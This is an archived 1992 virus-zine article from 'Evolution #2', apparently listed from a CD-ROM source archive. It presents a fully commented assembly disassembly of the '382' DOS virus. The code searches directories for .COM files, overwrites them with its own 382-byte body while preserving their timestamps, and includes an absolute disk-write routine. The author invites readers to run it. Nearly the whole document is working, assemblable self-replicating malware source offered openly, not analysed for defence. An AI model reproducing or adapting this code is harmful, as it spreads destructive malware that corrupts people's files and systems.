home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 382.ASM < prev    next >
Assembly Source File  |  1992-12-23  |  9KB  |  244 lines

  1. ─────────═════════>>> Article From Evolution #2 - YAM '92
  2.  
  3. Article Title: 382 Virus
  4. Author: Admiral Bailey
  5.  
  6.  
  7. ;=---
  8. ;
  9. ; 382 Virus (Family-Q as McAfee 91 calls it)
  10. ;
  11. ; Disassembled By Admiral Bailey [YAM '92]
  12. ; June 25, 1992
  13. ;
  14. ; The writer of this is unknown to me... maybe you should put some of
  15. ; your info in it.
  16. ;
  17. ; Notes:This virus I found on a board and got right to it.  It wasnt
  18. ;       too hard to disassemble since there was no encryption.  Its an
  19. ;       .com over writing virus.  Yes there is ????????exe inside the
  20. ;       file but I don't know what the hell that is.  If you run it it
  21. ;       only overwrits the com files.  It probably get exe files if no
  22. ;       com files are found.  But anyways there seems to be a bug in
  23. ;       the original virus.  Put it in a directory and run it it will
  24. ;       display crap and crash the computer.  With out doing any
  25. ;       damage.  If you want any more info check it out for yourself.
  26. ;       All i did this time was comment it.. cuz i found this to be a
  27. ;       boring run of the mill virus.  Anyways here it is.
  28. ;
  29. ;=---------
  30.  
  31. PAGE  59,132                                    ; I gotta check out
  32.                                                 ; what this means...
  33.  
  34. data_1e         equ     9Eh
  35. data_15e        equ     0E000h
  36. data_17e        equ     0E17Eh
  37.  
  38. seg_a           segment byte public
  39.                 assume  cs:seg_a, ds:seg_a
  40.                 org     100h
  41.  
  42. 382             proc    far
  43.  
  44. start:
  45.                 jmp     short $+2               ; just there to confuse
  46.                 mov     cs:data_4,0             ; actually jumps to here
  47.                 mov     ah,19h                  ; get default drive
  48.                 int     21h
  49.                 mov     cs:data_11,al           ; save default drive
  50.                 mov     ah,47h                  ; get present dir of
  51.                 mov     dl,0                    ;   current drive
  52.                 lea     si,data_13              ; holds directory name
  53.                 int     21h
  54.                 clc
  55. loc_1:
  56.                 jnc     loc_2                   ; if no error then jump
  57.                 mov     ah,17h                  ; rename file
  58.                 lea     dx,data_7               ; Load effective addr
  59.                 int     21h
  60.                 cmp     al,0FFh                 ; is there an error?
  61.                 jne     loc_2                   ; no then jump
  62.                 mov     ah,2Ch                  ; get current time
  63.                 int     21h
  64.  
  65.                 mov     al,cs:data_11           ; drive
  66.                 mov     bx,dx                   ; buffer
  67.                 mov     cx,2                    ; # of sectors
  68.                 mov     dh,0                    ; parm block
  69.                 int     26h                     ; Absolute disk write
  70.                 jmp     loc_9
  71.  
  72. loc_2:
  73.                 mov     ah,3Bh                  ; set the current
  74.                 lea     dx,data_10              ; directory
  75.                 int     21h
  76.  
  77.                 jmp     short loc_6
  78. loc_3:
  79.                 mov     ah,17h                  ; rename file
  80.                 lea     dx,data_7
  81.                 int     21h
  82.  
  83.                 mov     ah,3Bh                  ; set current directory
  84.                 lea     dx,data_10
  85.                 int     21h
  86.  
  87.                 mov     ah,4Eh                  ; find first file
  88.                 mov     cx,11h
  89.                 lea     dx,data_6               ; file type
  90.                 int     21h
  91.  
  92.                 jc      loc_1                   ; Jump if carry Set
  93.                 mov     bx,cs:data_4            ; put value in bx
  94.                 inc     bx                      ; check to see if it is
  95.                 dec     bx                      ; zero
  96.                 jz      loc_5
  97. loc_4:
  98.                 mov     ah,4Fh                  ; find next file
  99.                 int     21h
  100.  
  101.                 jc      loc_1                   ; none found then jump
  102.                 dec     bx
  103.                 jnz     loc_4                   ; Jump if not zero
  104. loc_5:
  105.                 mov     ah,2Fh                  ; get dta
  106.                 int     21h                     
  107.  
  108.                 add     bx,1Ch
  109.                 mov     word ptr es:[bx],5C20h
  110.                 inc     bx
  111.                 push    ds                      ; save ds
  112.                 mov     ax,es                   ; putting es into ds
  113.                 mov     ds,ax
  114.                 mov     dx,bx
  115.                 mov     ah,3Bh                  ; get current dir
  116.                 int     21h                     
  117.  
  118.                 pop     ds                      ; get old ds
  119.                 mov     bx,cs:data_4
  120.                 inc     bx
  121.                 mov     cs:data_4,bx
  122. loc_6:
  123.                 mov     ah,4Eh                  ; find first file
  124.                 mov     cx,1
  125.                 lea     dx,data_5               ; type to find
  126.                 int     21h                     
  127.  
  128.                 jc      loc_3                   ; none found then jump
  129.                 jmp     short loc_8
  130. loc_7:
  131.                 mov     ah,4Fh                  ; find next file
  132.                 int     21h
  133.                                                 
  134.                 jc      loc_3                   ; none found then jump
  135. loc_8:
  136.                 mov     ah,3Dh                  ; open file
  137.                 mov     al,0
  138.                 mov     dx,data_1e
  139.                 int     21h
  140.                                                 
  141.                 mov     bx,ax                   ; file name in bx
  142.                 mov     ah,3Fh                  ; read file
  143.                 mov     cx,17Eh                 ; number of bytes
  144.                 nop
  145.                 mov     dx,data_15e             ; buffer to hold the
  146.                 nop                             ; bytes
  147.                 int     21h                     
  148.  
  149.                 mov     ah,3Eh                  ; close the file
  150.                 int     21h                     
  151.  
  152.                 mov     bx,cs:data_15e
  153.                 cmp     bx,0EBh
  154.                 je      loc_7
  155.                 mov     ah,43h                  ; get attrib
  156.                 mov     al,0
  157.                 mov     dx,data_1e              ; filename
  158.                 int     21h
  159.  
  160.                 mov     ah,43h                  ; set attrib
  161.                 mov     al,1
  162.                 and     cx,0FEh
  163.                 int     21h
  164.  
  165.                 mov     ah,3Dh                  ; open up the file
  166.                 mov     al,2
  167.                 mov     dx,data_1e              ; filename
  168.                 int     21h                     
  169.                                                 
  170.                 mov     bx,ax                   ; filename
  171.                 mov     ah,57h                  ; get files date and
  172.                 mov     al,0                    ; time
  173.                 int     21h
  174.  
  175.                 push    cx                      ; save time
  176.                 push    dx
  177.                 mov     dx,word ptr cs:[23Ch]
  178.                 mov     cs:data_17e,dx
  179.                 mov     dx,word ptr cs:data_15e+1
  180.                 lea     cx,cs:[13Bh]
  181.                 sub     dx,cx
  182.                 mov     word ptr cs:[23Ch],dx
  183.                 mov     ah,40h                  ; write to file
  184.                 mov     cx,17Eh                 ; size of virus [382]
  185.                 nop
  186.                 lea     dx,ds:[100h]            ; Load effective addr
  187.                 int     21h                     
  188.                                                 
  189.                 mov     ah,57h                  ; set files time+date
  190.                 mov     al,1
  191.                 pop     dx                      ; get old date+time
  192.                 pop     cx
  193.                 int     21h                     
  194.  
  195.                 mov     ah,3Eh                  ; close up the file
  196.                 int     21h
  197.  
  198.                 mov     dx,cs:data_17e
  199.                 mov     word ptr cs:[23Ch],dx
  200. loc_9:
  201.                 call    sub_1
  202.                 jmp     $-3618h
  203.                 db      0B4h, 4Ch,0CDh, 21h     ; bytes to quit
  204.                                                 ; mov ax,4c00h
  205.                                                 ; int 21
  206.  
  207. 382             endp
  208.  
  209. sub_1           proc    near
  210.                 mov     ah,3Bh                  ; set current dir
  211.                 lea     dx,data_12              ; holds current
  212.                 int     21h                     ; directory
  213.                 retn
  214. sub_1           endp
  215.  
  216. data_4          dw      0
  217. data_5          db      2Ah
  218.                 db       2Eh, 63h, 6Fh, 6Dh, 00h
  219. data_6          db      2Ah
  220.                 db      0
  221. data_7          db      0FFh
  222.                 db       00h, 00h, 00h, 00h, 00h, 3Fh
  223.                 db       00h
  224.                 db      3Fh
  225.                 db      7 dup (3Fh)
  226.                 db       65h, 78h, 65h, 00h, 00h, 00h
  227.                 db       00h, 00h
  228.                 db      3Fh
  229.                 db      7 dup (3Fh)
  230.                 db       63h, 6Fh, 6Dh, 00h
  231. data_10         db      5Ch
  232.                 db      0
  233. data_11         db      4
  234. data_12         db      5Ch
  235. data_13         db      0
  236.  
  237. seg_a           ends
  238.  
  239.  
  240.  
  241.                 end     start
  242.  
  243.  
  244.